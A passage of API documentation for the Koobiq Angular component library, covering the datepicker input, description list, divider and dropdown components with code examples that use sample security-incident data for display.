    onKeyDown(event: KeyboardEvent): void;
    onChange(): void;
    onBlur(): void;
    onPaste(event: ClipboardEvent): void;
    toISO8601(value: D): string;
    updateErrorState(): void;
    getOrigin(): ElementRef;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — Object used to control when error messages are shown.
- `[placeholder]`: `string | undefined` — Placeholder of the input. Defaults to the localized date pattern.
- `[required]`: `boolean` — Whether the input is required.
- `[value]`: `D | null | undefined` — The date the input holds: set with `[value]`, by the form control, by typing and by the calendar.
- `[min]`: `D | null | undefined` — The minimum valid date. Drives validation only — including dates typed or pasted into the
  input — and reports `kbqDatepickerMin`. The calendar is restricted separately, by `minDate`
  on the associated `<kbq-datepicker>`.

  Compared down to the millisecond, not by calendar day: the input keeps the time part of the
  value it parses, and the comparison is made on wall-clock components rather than on absolute
  time.
- `[max]`: `D | null | undefined` — The maximum valid date. Drives validation only — including dates typed or pasted into the
  input — and reports `kbqDatepickerMax`. The calendar is restricted separately, by `maxDate`
  on the associated `<kbq-datepicker>`.

  Compared down to the millisecond, not by calendar day: the input keeps the time part of the
  value it parses, so an upper bound meant to include its whole day has to be the end of that
  day.
- `[disabled]`: `boolean` — Whether the datepicker-input is disabled. Also set by the bound form control.
- `[id]`: `string | undefined` — Unique id of the element, generated when not provided.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(dateChange)`: `KbqDatepickerInputEvent<D>` — Emits when a `change` event is fired on this `<input>`.
- `(dateInput)`: `KbqDatepickerInputEvent<D>` — Emits when an `input` event is fired on this `<input>`.
- `errorState`: `Signal<boolean>` — Whether the input is in an error state.
- `focused`: `Signal<boolean>` — Whether the input has focus.
- `valueChange`: `EventEmitter<D | null>` — Emits when the value changes (either due to user input or programmatic change).
- `disabledChange`: `EventEmitter<boolean>` — Emits when the disabled state has changed
- `kbqDatepicker`: `KbqDatepicker<D>` — The datepicker that this input is associated with.
- `kbqCalendar`: `KbqCalendar<D>` — The calendar that this input is associated with.
- `kbqDatepickerFilter`: `((date: D | null) => boolean) | undefined` — Function that can be used to filter out dates within the datepicker. `undefined` removes the filter.
- `empty`: `Signal<boolean>` — Whether the input renders no text.
- `onBlur()`: `void` — Handles blur events on the input.
- `updateErrorState()`: `void` — Refreshes the error state of the input.
- `getOrigin()`: `ElementRef` — Returns the ElementRef of the formField if it exists; otherwise, returns the ElementRef of the input.

##### KbqDatepickerToggleIcon (directive)

Can be used to override the icon of a `kbqDatepickerToggle`.

```ts
@Directive({ selector: '[kbqDatepickerToggleIcon]' })
class KbqDatepickerToggleIcon {}
```

#### Classes

##### KbqDatepickerInputEvent (class)

An event used for datepicker input and change events. We don't always have access to a native
input or change event because the event may have been triggered by the user clicking on the
calendar popup. For consistency, we always use KbqDatepickerInputEvent instead.

```ts
class KbqDatepickerInputEvent<D> {
    value: D | null;
    target: KbqDatepickerInput<D>;
    targetElement: HTMLElement;
    constructor(
        target: KbqDatepickerInput<D>,
        targetElement: HTMLElement
    );
}
```

- `value`: `D | null` — The new value for the target datepicker input.
- `target`: `KbqDatepickerInput<D>` — Reference to the datepicker input component that emitted the event.
- `targetElement`: `HTMLElement` — Reference to the native input element associated with the datepicker input.
- `constructor()`
  - `target`: `KbqDatepickerInput<D>` — Reference to the datepicker input component that emitted the event.
  - `targetElement`: `HTMLElement` — Reference to the native input element associated with the datepicker input.

#### Types

##### KbqCalendarCellCssClasses (type)

Extra CSS classes that can be associated with a calendar cell.

```ts
type KbqCalendarCellCssClasses = string | string[] | Set<string> | { [key: string]: any };
```

##### MonthName (type)

```ts
type MonthName = {
    name: string;
    nameShort: string;
    value: number;
    disabled: boolean;
};
```

#### Constants

##### KBQ_DATEPICKER_CONFIGURATION (const)

Deprecated: Use `KBQ_DATEPICKER_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_DATEPICKER_CONFIGURATION: InjectionToken<KbqDatepickerLocaleConfiguration>;
```

##### KBQ_DATEPICKER_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_DATEPICKER_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_DATEPICKER_DEFAULT_CONFIGURATION: { placeholder: string; dateInput: string; };
```

##### KBQ_DATEPICKER_SCROLL_STRATEGY (const)

Injection token that determines the scroll handling while the calendar is open. The root default keeps the
datepicker usable outside `KbqDatepickerModule`'s injector; providing the token anywhere still wins over it.

```ts
const KBQ_DATEPICKER_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

##### kbqDatepickerLocaleConfigurationProvider (const)

Utility provider for `KBQ_DATEPICKER_LOCALE_CONFIGURATION`. Only the strings you pass are overridden; the rest
keep following the active locale.

```ts
const kbqDatepickerLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqDatepickerLocaleConfiguration>
) => Provider;
```

##### MAX_YEAR (const)

```ts
const MAX_YEAR: number;
```

## Description list

- Entry point: `@koobiq/components/dl`
- Page: https://koobiq.io/en/components/dl/overview

### Overview

Description list displays term-description pairs in adaptive, horizontal, or vertical layouts.

**Example: Description list** (`dl-overview`)

```ts dl-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-overview-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-dl>
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlOverviewExample {}
```

#### Wide layout

The `wide` attribute splits the width equally between terms and descriptions.

**Example: Description list wide** (`dl-wide`)

```ts dl-wide-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-wide-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-dl wide>
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlWideExample {}
```

#### Vertical layout

The `vertical` attribute switches the list to the vertical layout, with terms above descriptions.

**Example: Description list vertical** (`dl-vertical`)

```ts dl-vertical-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'dl-vertical-example',
    imports: [KbqDl, KbqDt, KbqDd, KbqToggleModule, FormsModule],
    template: `
        <div class="layout-row layout-align-center-center">
            <kbq-toggle [(ngModel)]="vertical">Vertical</kbq-toggle>
        </div>

        <kbq-dl [vertical]="vertical()">
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlVerticalExample {
    protected readonly vertical = model(true);
}
```

#### Adaptive layout

Without the `vertical` attribute, the list becomes vertical when its width is at or below `verticalBreakpoint`. Resize the container to see it.

**Example: Description list vertical breakpoint** (`dl-vertical-breakpoint`)

```ts dl-vertical-breakpoint-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-vertical-breakpoint-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <div class="example-container">
            <kbq-dl [verticalBreakpoint]="500">
                <kbq-dt>Incident type</kbq-dt>
                <kbq-dd>Malware infection</kbq-dd>

                <kbq-dt>Identifier</kbq-dt>
                <kbq-dd>INC-2026-125-78253</kbq-dd>

                <kbq-dt>Status</kbq-dt>
                <kbq-dd>New</kbq-dd>

                <kbq-dt>Assignee</kbq-dt>
                <kbq-dd>John Smith</kbq-dd>

                <kbq-dt>Description</kbq-dt>
                <kbq-dd>
                    An employee opened an attachment in a phishing email, and the file ran malicious code on the
                    workstation.
                </kbq-dd>
            </kbq-dl>
        </div>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }

        .example-container {
            box-sizing: border-box;
            width: 640px;
            min-width: 240px;
            max-width: 100%;
            padding: var(--kbq-size-l);
            border-radius: var(--kbq-size-border-radius);
            background-color: var(--kbq-background-bg-secondary);
            overflow: auto;
            resize: horizontal;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlVerticalBreakpointExample {}
```

#### Alignment

The `verticalAlign` attribute aligns terms and descriptions within a row, and `horizontalAlign` within a column.

**Example: Description list alignment** (`dl-alignment`)

```ts dl-alignment-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadge } from '@koobiq/components/badge';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-alignment-example',
    imports: [KbqDl, KbqDt, KbqDd, KbqBadge],
    template: `
        <kbq-dl verticalAlign="center">
            <kbq-dt>Severity</kbq-dt>
            <kbq-dd>
                <kbq-badge badgeColor="fade-error">Critical</kbq-badge>
            </kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>
                <kbq-badge compact badgeColor="fade-theme">New</kbq-badge>
            </kbq-dd>

            <kbq-dt>Tags</kbq-dt>
            <kbq-dd>
                <div class="layout-row layout-wrap layout-gap-xxs">
                    <kbq-badge>Phishing</kbq-badge>
                    <kbq-badge>Malware</kbq-badge>
                    <kbq-badge>Workstation</kbq-badge>
                </div>
            </kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlAlignmentExample {}
```

#### Term width

The `dtWidth` attribute sets the width of the term column in pixels.

**Example: Description list term width** (`dl-dt-width`)

```ts dl-dt-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-dt-width-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-dl [dtWidth]="120">
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlDtWidthExample {}
```

#### Resizable

The `resizable` attribute lets the user change the width of the term column by dragging the separator or with the arrow keys. A double click on the separator collapses the column to its minimum width, and a second one restores it.

**Example: Description list resizable** (`dl-resizable`)

```ts dl-resizable-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-resizable-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-dl resizable>
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlResizableExample {}
```

##### Minimum widths

The `dtMinWidth` and `ddMinWidth` attributes set the minimum widths of the term and description columns in pixels.

**Example: Description list minimum widths** (`dl-min-width`)

```ts dl-min-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-min-width-example',
    imports: [KbqDl, KbqDt, KbqDd],
    template: `
        <kbq-dl resizable [dtMinWidth]="120" [ddMinWidth]="240">
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Status</kbq-dt>
            <kbq-dd>New</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>

            <kbq-dt>Description</kbq-dt>
            <kbq-dd>
                An employee opened an attachment in a phishing email, and the file ran malicious code on the
                workstation.
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlMinWidthExample {}
```

##### Shared width

The two-way `[(dtWidth)]` binding keeps the width the user sets, so that it can be saved or shared between lists.

**Example: Description list shared width** (`dl-width-sync`)

```ts dl-width-sync-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqDivider } from '@koobiq/components/divider';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';

@Component({
    selector: 'dl-width-sync-example',
    imports: [KbqDl, KbqDt, KbqDd, KbqDivider],
    template: `
        <kbq-dl resizable [(dtWidth)]="dtWidth">
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Malware infection</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-125-78253</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>John Smith</kbq-dd>
        </kbq-dl>

        <kbq-divider />

        <kbq-dl resizable [(dtWidth)]="dtWidth">
            <kbq-dt>Incident type</kbq-dt>
            <kbq-dd>Brute-force attack</kbq-dd>

            <kbq-dt>Identifier</kbq-dt>
            <kbq-dd>INC-2026-13-44357</kbq-dd>

            <kbq-dt>Assignee</kbq-dt>
            <kbq-dd>Jane Doe</kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlWidthSyncExample {
    protected readonly dtWidth = model(160);
}
```

#### Long text

Long strings without spaces, such as identifiers, hashes, paths and URLs, wrap within their column.

**Example: Description list with long text** (`dl-long-text`)

```ts dl-long-text-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'dl-long-text-example',
    imports: [KbqDl, KbqDt, KbqDd, KbqLink],
    template: `
        <kbq-dl resizable [dtMinWidth]="100" [ddMinWidth]="200">
            <kbq-dt>security.incident.description</kbq-dt>
            <kbq-dd>
                An employee opened the
                <span class="kbq-text-normal-strong">security_update.exe</span>
                attachment in a phishing email. The file executed malicious code on the workstation.
            </kbq-dd>

            <kbq-dt>process.parent.executable.file_name</kbq-dt>
            <kbq-dd>security_update.exe</kbq-dd>

            <kbq-dt>process.parent.executable.hash.sha256</kbq-dt>
            <kbq-dd>
                <span class="kbq-mono-normal">5cfeaa7084b508d0ea762d8cfed396b6029eed6005d381b16e725755ec801014</span>
            </kbq-dd>

            <kbq-dt>process.parent.executable.full_path</kbq-dt>
            <kbq-dd>
                C:\\Users\\Administrator\\AppData\\Local\\Temp\\SecurityUpdate\\packages\\windows\\x64\\security_update.exe
            </kbq-dd>

            <kbq-dt>threat.indicator.reference</kbq-dt>
            <kbq-dd>
                <a kbqLink pseudo>
                    https://www.virustotal.com/gui/file/5cfeaa7084b508d0ea762d8cfed396b6029eed6005d381b16e725755ec801014/detection
                </a>
            </kbq-dd>
        </kbq-dl>
    `,
    styles: `
        :host {
            display: block;
            max-width: 600px;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DlLongTextExample {}
```

#### Global options

The `kbqDlOptionsProvider` function sets the default options of every list in the application or in a specific injector.

```ts
import { ApplicationConfig } from '@angular/core';
import { kbqDlOptionsProvider } from '@koobiq/components/dl';

export const appConfig: ApplicationConfig = {
    providers: [kbqDlOptionsProvider({ wide: true, resizable: true })]
};
```

### API

#### Components

##### KbqDd (component)

Description of the term before it.

```ts
@Component({ selector: 'kbq-dd' })
class KbqDd {}
```

##### KbqDl (component)

Description list: `kbq-dt` terms paired with `kbq-dd` descriptions in an adaptive, horizontal or vertical layout.

```ts
@Component({ selector: 'kbq-dl' })
class KbqDl {
    readonly verticalBreakpoint = input<number>(
        this.options.verticalBreakpoint
    );
    readonly wide = input<boolean>(this.options.wide);
    readonly resizable = input<boolean>(this.options.resizable);
    readonly dtWidth = model<number | null>(this.options.dtWidth);
    readonly dtMinWidth = input<number | undefined>(
        this.options.dtMinWidth
    );
    readonly ddMinWidth = input<number | undefined>(
        this.options.ddMinWidth
    );
    readonly resizerAriaLabel = input<string | undefined>();
    readonly verticalAlign = input<KbqDlAlign>(
        this.options.verticalAlign
    );
    readonly horizontalAlign = input<KbqDlAlign>(
        this.options.horizontalAlign
    );
    readonly vertical = input<boolean | null>(this.options.vertical);
}
```

- `[verticalBreakpoint]`: `number` — Host width in pixels at or below which the list auto-switches to the vertical layout.
  Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[wide]`: `boolean` — Whether the list uses the wide two-column layout. Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[resizable]`: `boolean` — Whether the `kbq-dt` area can be resized by dragging the separator.
  Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[(dtWidth)]`: `number | null` — Width of the `kbq-dt` area in pixels; `null` restores the default column ratio.
  Defaults to the app-wide `KBQ_DL_OPTIONS`.

  Writable: a drag or a double-click on the separator sets it, and `dtWidthChange` reports that back.
  `model()` would have been the shorter form, but it takes no `transform`, so an uncoerced attribute
  reached the layout arithmetic as a string and skipped the clamp against `dtMinWidth`.
- `[dtMinWidth]`: `number | undefined` — Minimum width of the `kbq-dt` area in pixels; defaults to the app-wide `KBQ_DL_OPTIONS`, then to the
  rendered term width.
- `[ddMinWidth]`: `number | undefined` — Minimum width retained for the `kbq-dd` area in pixels; defaults to the app-wide `KBQ_DL_OPTIONS`, then
  to the rendered term width.
- `[resizerAriaLabel]`: `string | undefined` — Accessible name of the column resize separator; falls back to the localized default when omitted.
- `[verticalAlign]`: `KbqDlAlign` — Vertical alignment of `kbq-dt` and `kbq-dd` items. Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[horizontalAlign]`: `KbqDlAlign` — Horizontal alignment of `kbq-dt` and `kbq-dd` items. Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[vertical]`: `boolean | null` — Forces the vertical layout; `null` lets the list decide based on `verticalBreakpoint`.
  Defaults to the app-wide `KBQ_DL_OPTIONS`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

##### KbqDt (component)

Term of a description list.

```ts
@Component({ selector: 'kbq-dt' })
class KbqDt {}
```

#### Functions

##### kbqDlOptionsProvider (function)

Overrides the default description list options within the given injector scope. The options it leaves out keep the
values of the parent injector.

```ts
function kbqDlOptionsProvider(options: Partial<KbqDlOptions>): Provider;
```

#### Types

##### KbqDlAlign (type)

Supported alignment values for description list items.

```ts
type KbqDlAlign = 'start' | 'center' | 'end';
```

##### KbqDlOptions (type)

Configuration for `KbqDl`. Each input of a list overrides its option.

```ts
type KbqDlOptions = {
    verticalBreakpoint: number;
    vertical: boolean | null;
    wide: boolean;
    resizable: boolean;
    dtWidth: number | null;
    dtMinWidth?: number;
    ddMinWidth?: number;
    verticalAlign: KbqDlAlign;
    horizontalAlign: KbqDlAlign;
};
```

- `verticalBreakpoint`: `number` — Host width in pixels at or below which a list switches to the vertical layout.
- `vertical`: `boolean | null` — Forces the vertical layout; `null` lets a list decide based on `verticalBreakpoint`.
- `wide`: `boolean` — Whether a list uses the wide two-column layout.
- `resizable`: `boolean` — Whether the `kbq-dt` area can be resized by dragging the separator.
- `dtWidth`: `number | null` — Width of the `kbq-dt` area in pixels; `null` keeps the default column ratio.
- `dtMinWidth?`: `number` — Minimum width of the `kbq-dt` area in pixels; defaults to the rendered term width.
- `ddMinWidth?`: `number` — Minimum width retained for the `kbq-dd` area in pixels; defaults to the rendered term width.
- `verticalAlign`: `KbqDlAlign` — Vertical alignment of `kbq-dt` and `kbq-dd` items.
- `horizontalAlign`: `KbqDlAlign` — Horizontal alignment of `kbq-dt` and `kbq-dd` items.

#### Constants

##### KBQ_DL_OPTIONS (const)

Injection token holding the current `KbqDlOptions`.

```ts
const KBQ_DL_OPTIONS: InjectionToken<KbqDlOptions>;
```

## Divider

- Entry point: `@koobiq/components/divider`
- NgModule: `KbqDividerModule`
- Page: https://koobiq.io/en/components/divider/overview

### Overview

`<kbq-divider>` is a component that allows for koobiq styling of a line separator with various orientation options.

**Example: Divider** (`divider-overview`)

```ts divider-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDividerModule } from '@koobiq/components/divider';

@Component({
    selector: 'divider-overview-example',
    imports: [
        KbqDividerModule
    ],
    template: `
        <kbq-divider style="margin: 20px" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DividerOverviewExample {}
```

#### Simple divider

A `<kbq-divider>` element can be used on its own to create a horizontal or vertical line styled with a koobiq theme

```html
<kbq-divider />
```

#### Vertical divider

Add the `vertical` attribute in order to set whether or not the divider is vertically-oriented.

**Example: Divider vertical** (`divider-vertical`)

```ts divider-vertical-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqDividerModule } from '@koobiq/components/divider';

@Component({
    selector: 'divider-vertical-example',
    imports: [
        KbqDividerModule
    ],
    template: `
        <kbq-divider style="margin: 20px" length="50" [vertical]="true" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DividerVerticalExample {}
```

#### Length

A divider takes its length from the layout around it, which is what one spanning a container wants. Give it a `length`
in pixels where it has to be shorter than its surroundings — between the buttons of a toolbar, say. The value applies
along the line: it is the height of a vertical divider and the width of a horizontal one.

```html
<kbq-divider length="16" [vertical]="true" />
```

#### Spacing

Both orientations space themselves from the content around them by default. Add `[paddings]="false"` for a divider that
sits flush against them.

```html
<kbq-divider [paddings]="false" />
```

#### Decorative divider

A divider is a `separator` for assistive technology: it announces the boundary it draws. Add the `decorative`
attribute where the boundary is already conveyed some other way — by a heading, by a group, or by the layout —
so the same boundary is not announced twice.

```html
<kbq-divider decorative />
```

#### Lists with dividers

Dividers can be added to lists as a means of separating content into distinct sections. A divider between the items
of one section repeats a boundary the list already conveys, so mark it `decorative`; the divider that ends a section
is the one worth announcing.

```html
<kbq-list>
    <h3>Folders</h3>
    @for (folder of folders; track folder.name) {
        <kbq-list-item>
            <h4 kbq-line>{{ folder.name }}</h4>
            <p kbq-line>{{ folder.updated }}</p>
        </kbq-list-item>
        @if (!$last) {
            <kbq-divider decorative />
        }
    }
    <kbq-divider />
    <h3>Notes</h3>
    @for (note of notes; track note.name) {
        <kbq-list-item>
            <h4 kbq-line>{{ note.name }}</h4>
            <p kbq-line>{{ note.updated }}</p>
        </kbq-list-item>
    }
</kbq-list>
```

### API

#### Components

##### KbqDivider (component)

A themed line separator.

Horizontal by default and vertical with `vertical`; `length` gives the line a size of its own where
the surrounding layout does not supply one.

The divider carries `role="separator"` so the boundary it draws is also exposed programmatically.
A divider that only repeats a boundary already conveyed by the layout should set `decorative`.

```ts
@Component({ selector: 'kbq-divider' })
class KbqDivider {
    readonly vertical = input<boolean>(false);
    readonly paddings = input<boolean>(true);
    readonly decorative = input<boolean>(false);
    readonly length = input<number | null>(null);
}
```

- `[vertical]`: `boolean` — Whether the divider is vertically oriented. Defaults to `false`, a horizontal divider.
- `[paddings]`: `boolean` — Whether the divider spaces itself from the content around it. Defaults to `true`, which emits margins
  (not padding) along the divider's cross axis.
- `[decorative]`: `boolean` — Whether the divider is purely decorative. A decorative divider is hidden from assistive
  technology, for boundaries that a heading, a group or the layout itself already conveys.
  Defaults to `false`.
- `[length]`: `number | null` — Length of the line in pixels — its height when `vertical`, its width otherwise. `null`, the
  default, leaves the length to the layout the divider sits in, which is what a divider spanning a
  container wants. Set it for a divider that has to be shorter than its surroundings, such as one
  between the buttons of a toolbar, instead of reaching for a `height` of your own in CSS.

## Dropdown

- Entry point: `@koobiq/components/dropdown`
- NgModule: `KbqDropdownModule`
- Page: https://koobiq.io/en/components/dropdown/overview

### Overview

Dropdown displays a menu with actions or options next to a trigger and supports disabled, loading, footer, and keyboard interaction states.

**Example: Dropdown** (`dropdown-overview`)

```ts dropdown-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'dropdown-overview-example',
    imports: [
        KbqDropdownModule,
        KbqDividerModule,
        KbqButtonModule,
        KbqIconModule,
        KbqTitleModule,
        KbqOptionModule
    ],
    templateUrl: 'dropdown-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class DropdownOverviewExample {}
```

```html dropdown-overview-example.html
<button kbq-button [kbqDropdownTriggerFor]="appDropdown">
    dropdown
    <i kbq-icon="kbq-chevron-down-s_16"></i>
</button>

<kbq-dropdown #appDropdown="kbqDropdown" [panelMaxWidth]="200">
    <button kbq-dropdown-item>Text Normal</button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-info_16" [color]="'contrast'"></i>
        Text Normal
        <div kbqDropdownItemCaption>Caption</div>
    </button>

    <button kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16" [color]="'contrast'"></i>
        Text Normal
    </button>

    <button kbq-dropdown-item kbq-title>
        Text Normal and very long text Text Normal and very long text Text Normal and very long text Text Normal and
        very long text
    </button>

    <button kbq-dropdown-item progress>Loading item</button>

    <kbq-divider />

    <div kbqDropdownGroupHeader>Header</div>

    <button disabled kbq-dropdown-item>Disabled</button>

    <kbq-divider />

    <kbq-optgroup label="Subheading" />

    <button disabled kbq-dropdown-item>
        <i kbq-icon="kbq-circle-xs_16"></i>
        Disabled with icon
    </button>

    <kbq-divider />

    <button kbq-dropdown-item>Point 2</button>

    <button kbq-dropdown-item>Point 3</button>

    <button kbq-dropdown-item>Link</button>
</kbq-dropdown>
```

#### Disabled Trigger

**Example: Dropdown disabled** (`dropdown-disabled`)

```ts dropdown-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqOptionModule } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTitleModule } from '@koobiq/components/title';

@Component({
    selector: 'dropdown-disabled-example',
    imports: [
        KbqDropdownModule,
        FormsModule,
        KbqCheckboxModule,
        KbqDividerModule,
        KbqButtonModule,
        KbqIconModule,
        KbqTitleModule,
        KbqOptionModule
    ],
    templateUrl: 'dropdown-disabled-example.html',
